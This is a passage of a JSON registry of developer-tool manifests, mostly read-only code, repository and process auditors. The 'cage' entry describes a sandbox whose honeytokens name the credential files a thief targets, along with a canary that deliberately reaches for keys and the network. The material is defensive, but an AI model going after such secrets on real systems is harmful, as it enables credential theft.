action=add"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eda4338e99618ff639254e17114c069c36af8de37b6f24709e7fb23d9510c35c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sathish/leetcode-study-organizer-final@0.0.1","reference":"sathish/leetcode-study-organizer-final@0.0.1","uri":"https://play.modiqo.ai/sathish/leetcode-study-organizer-final@0.0.1","manifest_uri":"https://play.modiqo.ai/sathish/leetcode-study-organizer-final@0.0.1","name":"leetcode-study-organizer-final","title":"leetcode-study-organizer-final","description":"Turns a LeetCode problem URL, the problem statement, and YOUR OWN solution into structured revision notes: pattern detection with cited evidence lines, a walk of your code, time/space complexity derived from its real shape, edge cases you must handle, recall questions, a revision card, and a hand-off prompt for a deeper line-by-line walkthrough. Explains your solution instead of replacing it; never fetches from LeetCode, so it needs no browser, session, or scraping. Requires only python3.","owner":{"kind":"user","slug":"sathish"},"registry_organization":"sathish","tags":["typescript","process","leetcode","dsa","study-notes","revision","learning"],"primary_domain":"domain-uncategorized","author":"REPLACE_WITH_YOUR_ROTE_HANDLE","version":"0.0.1","published_at":"2026-09-05T03:51:15.332377+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":46773,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze_solution"]},"parameters":[{"name":"problem_url","type":"string","required":true,"description":"LeetCode problem URL, e.g. https://leetcode.com/problems/two-sum/ (used for the slug and title; nothing is fetched from it)"},{"name":"problem_statement","type":"string","required":true,"description":"The problem statement text you paste in: description, examples, and the Constraints block. Constraints drive the size bound and the edge cases."},{"name":"solution_code","type":"string","required":true,"description":"YOUR OWN solution, exactly as you wrote it. Source code gives a line-cited analysis; a written description also works but is reported at lower confidence."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7f33a0cbcd950051a31aeb37b8e47f7f4e150fb1dee103f7c0053734523e9ba9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/type-ready@0.1.0","reference":"adnandev/type-ready@0.1.0","uri":"https://play.modiqo.ai/adnandev/type-ready@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/type-ready@0.1.0","name":"type-ready","title":"type-ready","description":"Answers one question about a Python codebase: which modules could you switch a type checker on for today, without writing a single annotation first. Coverage percentages do not answer that, because a module at 95 percent still fails on its first strict run while a module at 100 percent passes. This reads every signature with ast and sorts modules into three buckets - already complete, within a couple of functions of complete, and the backlog. On the 912-module repository it was built against, 15,506 of 19,568 functions carry a complete signature and 399 modules need no work at all before a checker runs over them in strict mode, with 257 more sitting within two functions of that line; one of them has 73 functions and is short by exactly one. Five steps across four layers, with the module scorer and the blocker ranker running in parallel off the same parsed signatures. Everything is exact: parameter counts come from the parsed tree, `self` and `cls` are excluded because nobody annotates them and counting them would make every method look worse than it is, and `*args` and `**kwargs` are counted because they can be annotated and a checker cares whether they are. A second ranking names the parameters that recur across many signatures, since deciding one type there settles several functions at once. The limits are printed every run: an annotation is not a correct annotation, this counts whether a type is written and never whether it is true, and it runs no checker, so a module listed as ready can still fail its first strict pass; types living in a .pyi stub are not read, so a project that types through stubs understates here; test files are excluded and only tracked files are read. A path outside a git work tree, a repository with no Python, and a repository whose Python defines no functions each print a different INDETERMINATE rather than a zero. Read-only: only ast.parse touches your source, nothing is imported or executed, no network call is made, no credentials are carried, and it needs only python3 and git. The one thing it writes is its own type-ready.json, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["python","typing","mypy","type-annotations","static-analysis","refactoring","code-health","migration"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-05T00:31:58.238475+00:00","visibility":"public","quality_score":1,"size_bytes":9784,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["list_modules","report_ready","rank_blockers","score_modules","read_signatures"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to read. Defaults to the current directory. Must be inside a git work tree, because only tracked files are counted - a vendored copy of somebody else's package would otherwise be measured as if it were yours. Anything else prints INDETERMINATE rather than an empty result."},{"name":"near","type":"string","required":false,"default":"2","description":"How many incomplete functions a module may still have and count as NEARLY THERE rather than backlog. It moves modules between two buckets and never changes a signature count."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many rows to show in each table. Never changes a count, only how much of it you see. Pass report=all to list every module and every incomplete signature."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings shows the top rows of each table. all lists every module in every bucket and every incomplete signature. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:506622a27d3113c298ef005b867587f9cc0b361f8443ee2f2469f3a720ca9591","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/dep-blast@0.1.0","reference":"adnandev/dep-blast@0.1.0","uri":"https://play.modiqo.ai/adnandev/dep-blast@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/dep-blast@0.1.0","name":"dep-blast","title":"dep-blast","description":"Reads committed package-lock.json files and answers one question per dependency you declared: how many packages does it actually drag in, and how many of those would leave with it because nothing else needs them. On the nine lockfiles of the machine this was built against it read 3,326 installed packages against 276 declared - 12.1 arriving for every one anybody chose - with 178 package names resolving to more than one version at once and a chain running 11 levels deep. One dependency, electron-builder, is the sole reason 166 of those packages are on disk. Five steps and the third fans out: a bounded walk finds every git repository under a root, one step lists the tracked lockfiles, then one reader runs per lockfile in parallel before a join and the report. Resolution is npm own rule and nothing is guessed: to find a name from a package, look in that package node_modules and then walk up one directory at a time, which is why a nested copy is reported as the separate install it really is and why both versions of a duplicated package are counted. Every entry whose key holds no node_modules segment is treated as an importer, so npm workspaces are walked too - starting only from the root importer left 44 percent of a real monorepo reachable by nothing, which was this play own bug rather than the repository being strange. The limits are printed every run: REMOVABLE counts packages no other declared dependency reaches and is never advice to delete anything, because your own source may import a transitive package directly and this reads the lockfile and never your code; optional and peer dependencies npm declined to install are absent from the tree and so absent here; sizes on disk are not measured; and only committed package-lock.json v2 and v3 are read, never yarn.lock or pnpm-lock.yaml. A root with no repository, and repositories with no committed lockfile, each print a different INDETERMINATE rather than a zero. Read-only: it parses JSON, runs no package manager, installs nothing, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own dep-blast.json, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["npm","dependencies","lockfile","supply-chain","javascript","repository-audit","maintenance","static-analysis"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T23:44:43.1637+00:00","visibility":"public","quality_score":1,"size_bytes":9799,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["read_lock","find_locks","find_repos","join_locks","report_blast"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Where to start looking for git repositories. Defaults to the current directory; pass your home directory to read every project at once. A path that is not a directory prints INDETERMINATE rather than an empty result."},{"name":"max_depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to descend while looking for repositories. A repository's own subdirectories are never walked. If the limit is reached the report says so, because a truncated scan and a small machine are different answers."},{"name":"max_repos","type":"string","required":false,"default":"40","description":"Cap on how many repositories to search for lockfiles. If the cap is hit the report says so."},{"name":"top_n","type":"string","required":false,"default":"12","description":"How many dependencies and projects to list. Never changes a count, only how much of it you see. Pass report=all to list every one."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings lists the heaviest dependencies. all lists every declared dependency in every project. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cc0cc3a80b6008c9535027eb068f42e291b182790c596d0587e390b1e5eada74","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":8,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harsh/cage@0.1.0","reference":"harsh/cage@0.1.0","uri":"https://play.modiqo.ai/harsh/cage@0.1.0","manifest_uri":"https://play.modiqo.ai/harsh/cage@0.1.0","name":"cage","title":"cage","description":"There are 700 Plays in this arena written by strangers, and every one of them runs on your laptop with your home directory, your keys and your network. cage runs a Play inside the operating system's own sandbox first and tells you what it reached for. It pulls the Play with rote outside the cage, then runs it inside macOS seatbelt (or bubblewrap on Linux) with a fake HOME under this run's workspace, your real home invisible down to stat, rote's secrets vault hidden, writes allowed only inside the cage and rote's workspace, and the network refused unless you pass network=allow. The fake home is seeded with honeytokens: named pipes standing in for ssh keys, AWS and gcloud credentials, kube config, shell history, npm, PyPI and git tokens, gh and docker auth, a .env, a keychain, browser cookies and agent transcripts. Opening one to read it wakes a watcher on the other end of the pipe, which records the read and who did it, then answers with decoy content, so a read of your key is caught positively and the Play learns nothing real. After the run the fake home is diffed: launch agents, shell startup files, authorized_keys and package-manager rc files that appeared or changed are named as persistence or config tampering. On macOS the kernel's refusal log is read back for the caged process tree as well, best effort: name lookups and reads or writes outside the cage, first occurrence only. The verdict is one of: stayed in its lane, wrote into its home, reached beyond its lane, tried to phone home, planted persistence, reached for secrets. You also get the Play's own output, its exit code, the files it created, and rote's declared contract beside what was observed. play=demo runs a bundled canary that deliberately reaches for your keys, history, launch agents and the network so you can see what a bad Play looks like through the bars. Honest limits, stated in every report: the kernel does not report reads inside your home, which is exactly why the honeytokens exist; rote's registry session file stays readable inside the cage because rote needs it (the vault does not), and with the network off it cannot leave; process listing is restricted inside seatbelt so ps-based Plays see less; Linux gets the same containment and honeytokens through bind mounts but no kernel refusal log. A Play that names an executable by absolute path is still caged, because the whole rote process tree is. Read-only toward you: it never runs a Play outside the cage, kills nothing, and writes only its cage directory under the run workspace plus rote's normal pull into its store. Needs python3 (3.9 is enough), rote, and sandbox-exec or bwrap. Run it on every Play you were about to trust.","owner":{"kind":"user","slug":"harsh"},"registry_organization":"harsh","tags":["sandbox","security","seatbelt","bubblewrap","untrusted","supply-chain","play-hygiene","macos","linux","python3","domain-rote-plays","job-sandboxed-execution","audience-play-runners","effect-read-only"],"primary_domain":"domain-rote-plays","author":"harsh","version":"0.1.0","published_at":"2026-09-04T23:14:29.267524+00:00","visibility":"public","quality_score":1,"size_bytes":23959,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["run","host","fetch","report"]},"parameters":[{"name":"play","type":"string","required":false,"default":"demo","description":"What to cage: a play reference (owner/name or owner/name@version), a local package directory, or demo for the bundled canary that deliberately misbehaves."},{"name":"params","type":"string","required":false,"default":"","description":"Parameters for the caged Play, space separated: key=value key2=\"two words\"."},{"name":"network","type":"string","required":false,"default":"deny","description":"deny refuses every connection from inside the cage and reports the attempts; allow lets the Play reach the network (attempts are then not recorded)."},{"name":"allow_read","type":"string","required":false,"default":"","description":"Comma-separated directories the caged Play may read, read-only, such as a repository it should analyse. Everything else in your home stays invisible."},{"name":"timeout_seconds","type":"string","required":false,"default":"180","description":"The caged run is killed after this long; refusals up to that point are still reported."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:68053629eb391b2f42664be8e4494f0e7ee7738b058edad24a28c01bceb02c82","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harsh/ram-diet@0.1.0","reference":"harsh/ram-diet@0.1.0","uri":"https://play.modiqo.ai/harsh/ram-diet@0.1.0","manifest_uri":"https://play.modiqo.ai/harsh/ram-diet@0.1.0","name":"ram-diet","title":"ram-diet","description":"Your machine is running dev servers, watchers, language servers, test browsers and MCP servers from terminals you closed days ago. They hold RAM, they hold the port you want, and nothing will ever stop them. This finds them. One ps reading classifies every process into developer tooling families (node and its bundlers, Python servers, JVM daemons, Go and Rust tools, language servers, local databases, containers and VMs, simulators, AI models and agent CLIs, tunnels and watchers, automation browsers) and walks each one up its parent chain to see what is still holding it: a live terminal, an IDE, an agent CLI, a service manager, or nothing at all, which is what an orphan reparented to pid 1 looks like after its shell died. One lsof reading (ss on Linux) maps every listening TCP port to its process and the project folder it was started from, and flags ports bound to every interface. One memory reading gives total, used, compressed, swap and free percentage from the platform's own counters. The join step ranks orphans by RAM with their ports and age and prints one kill command for the lot, then the port map, the active tooling and what is holding it, and how much of your RAM developer tooling is using. Command lines are reduced to a short redacted label (executable plus three arguments, tokens and long blobs masked) before anything reaches stdout; full argv never does. Only your own user's processes are judged. Read-only: kills nothing, writes nothing, needs no network and no credentials. Needs python3 (3.9 is enough) and ps; lsof, ss and the memory counters are used when present and reported as absent when not. Sibling of disk-diet. macOS and Linux.","owner":{"kind":"user","slug":"harsh"},"registry_organization":"harsh","tags":["memory","ram","processes","orphans","ports","port-in-use","kill","dev-servers","macos","linux","python3","domain-developer-machine","job-process-cleanup","audience-developers","effect-read-only"],"primary_domain":"domain-developer-machine","author":"harsh","version":"0.1.0","published_at":"2026-09-04T22:29:07.526798+00:00","visibility":"public","quality_score":1,"size_bytes":20892,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["ports","memory","report","processes"]},"parameters":[{"name":"top","type":"string","required":false,"default":"25","description":"How many rows to show per section (orphans, active tooling, services)."},{"name":"min_mb","type":"string","required":false,"default":"50","description":"Active and service processes below this resident size are summed but not listed. Orphans are always listed."},{"name":"budget_seconds","type":"string","required":false,"default":"20","description":"Wall-clock budget per probe."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b0c88182d270abf53162dc2e2f762030931b0d22e682bfb4270f360d9f7f42d0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/cron-output-audit@0.1.0","reference":"bhanu82/cron-output-audit@0.1.0","uri":"https://play.modiqo.ai/bhanu82/cron-output-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/cron-output-audit@0.1.0","name":"cron-output-audit","title":"cron-output-audit","description":"A cron job that runs is not a job anyone hears about. Audits each crontab entry for output disposition (MAILTO, log redirect, swallowed to /dev/null) and failure alerting (healthcheck ping, failure hook, strict shell). Silent entries listed; missing crontab is INDETERMINATE. Read-only, zero keys, bash only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-cron-audit","audience-developers","cron","alerting","audit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:40.359148+00:00","visibility":"public","quality_score":1,"size_bytes":9220,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["join_audit","analyze_alerting","discover_crontab","analyze_disposition"]},"parameters":[{"name":"crontab_file","type":"string","required":false,"default":"","description":"Absolute path of a sample crontab to audit; empty audits the live user crontab via crontab -l, relative paths are refused","example":"/home/user/crontab.sample"},{"name":"max_entries","type":"integer","required":false,"default":"50","description":"Maximum cron entries audited","example":"100"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b2a80617ba456411435681d318df83eaceb69e9baace571b4e625abeb289fab7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/bhanu82/plan-drift-check@0.1.0","reference":"bhanu82/plan-drift-check@0.1.0","uri":"https://play.modiqo.ai/bhanu82/plan-drift-check@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/plan-drift-check@0.1.0","name":"plan-drift-check","title":"plan-drift-check","description":"Is the plan file telling the truth? Compares PLAN.md checkboxes against commit subjects since the plan mtime; done-uncommitted and committed-unmarked items are DRIFT, a missing plan INDETERMINATE. Read-only, zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-plan-tracking","audience-developers","plan","drift"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:37.710396+00:00","visibility":"public","quality_score":1,"size_bytes":5411,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["check_drift"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"plan","type":"string","required":false,"default":"","description":"Absolute path of the plan file; empty auto-finds PLAN.md, TODO.md, or ROADMAP.md at the repo root","example":"/home/user/my-repo/PLAN.md"},{"name":"max_commits","type":"integer","required":false,"default":"200","description":"Commit subjects compared since the plan mtime (1-500)","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:503d5d4e85d0cce508c6abefc299f5537946b8375caa721cbfb40d49955b763c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/session-handoff-brief@0.1.0","reference":"bhanu82/session-handoff-brief@0.1.0","uri":"https://play.modiqo.ai/bhanu82/session-handoff-brief@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/session-handoff-brief@0.1.0","name":"session-handoff-brief","title":"session-handoff-brief","description":"Next-session resume brief from repo state: branch, dirty files, last commit, open loops from the uncommitted diff plus transcript tail, and a suggested first command. Subjects and counts only, never SHAs. Read-only, zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-session-hygiene","audience-developers","handoff","resume"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:34.92712+00:00","visibility":"public","quality_score":1,"size_bytes":5625,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["brief_session"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"transcript","type":"string","required":false,"default":"","description":"Absolute path of a transcript file (JSONL or text); only the tail's user turns are read","example":"/home/user/session.jsonl"},{"name":"max_turns","type":"integer","required":false,"default":"5","description":"User turns kept from the transcript tail (1-20)","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ccbde0ec955bded29737cf69c481fe98d3646e62eff12e6b19b83964793e8f89","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/test-execution-gap@0.1.0","reference":"bhanu82/test-execution-gap@0.1.0","uri":"https://play.modiqo.ai/bhanu82/test-execution-gap@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/test-execution-gap@0.1.0","name":"test-execution-gap","title":"test-execution-gap","description":"Did THIS diff's files get exercised? Maps non-test files changed in the last N commits to sibling tests by name/path convention. Static mapping only, tests never executed. Every-push habit with zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-test-hygiene","audience-developers","git","pre-commit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:29.47412+00:00","visibility":"public","quality_score":1,"size_bytes":5190,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["gap_scan"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_commits","type":"integer","required":false,"default":"10","description":"Recent commits scanned (1-100)","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:414d524e2586bb317fdb312b13feeb6d10e415537a0c973746b257bac6a5c12f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/compact-debt@0.1.0","reference":"bhanu82/compact-debt@0.1.0","uri":"https://play.modiqo.ai/bhanu82/compact-debt@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/compact-debt@0.1.0","name":"compact-debt","title":"compact-debt","description":"Did the compaction eat the instruction you keep repeating? Scans session transcripts for compaction markers and reports what fraction of user turns plus instruction references survive each compaction. Zero setup, zero API keys, runs completely locally.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-compaction-analysis","audience-developers","transcripts","context"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:26.705722+00:00","visibility":"public","quality_score":1,"size_bytes":6592,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scan_compaction"]},"parameters":[{"name":"transcript_dir","type":"string","required":false,"default":"","description":"Absolute path of the JSONL transcript directory; empty runs the bundled synthetic fixture. Relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/.claude/projects/my-repo"},{"name":"max_sessions","type":"integer","required":false,"default":"50","description":"Maximum transcript files to inspect","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:69cdd131c1697bbf9532a7194409fcafe8e842e5f38baef2da0de62037df6499","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/log-level-audit@0.1.0","reference":"bhanu82/log-level-audit@0.1.0","uri":"https://play.modiqo.ai/bhanu82/log-level-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/log-level-audit@0.1.0","name":"log-level-audit","title":"log-level-audit","description":"Leftover debug prints are log lines with no level and no off switch. Worktree audit reporting print()/pprint()/console.log in prod code with exact file:line, excluding tests, scripts, and examples. Zero keys, python3 stdlib only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-log-hygiene","audience-developers","logging","pre-commit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:21.778396+00:00","visibility":"public","quality_score":1,"size_bytes":5451,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["audit_logs"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the worktree; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"500","description":"Maximum prod files checked","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8c99dc60bc54ae9d93e7d008c35673b8a28a4a3aef954fe3ee2e66f7c02b976f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/hook-candidate-miner@0.1.0","reference":"bhanu82/hook-candidate-miner@0.1.0","uri":"https://play.modiqo.ai/bhanu82/hook-candidate-miner@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/hook-candidate-miner@0.1.0","name":"hook-candidate-miner","title":"hook-candidate-miner","description":"M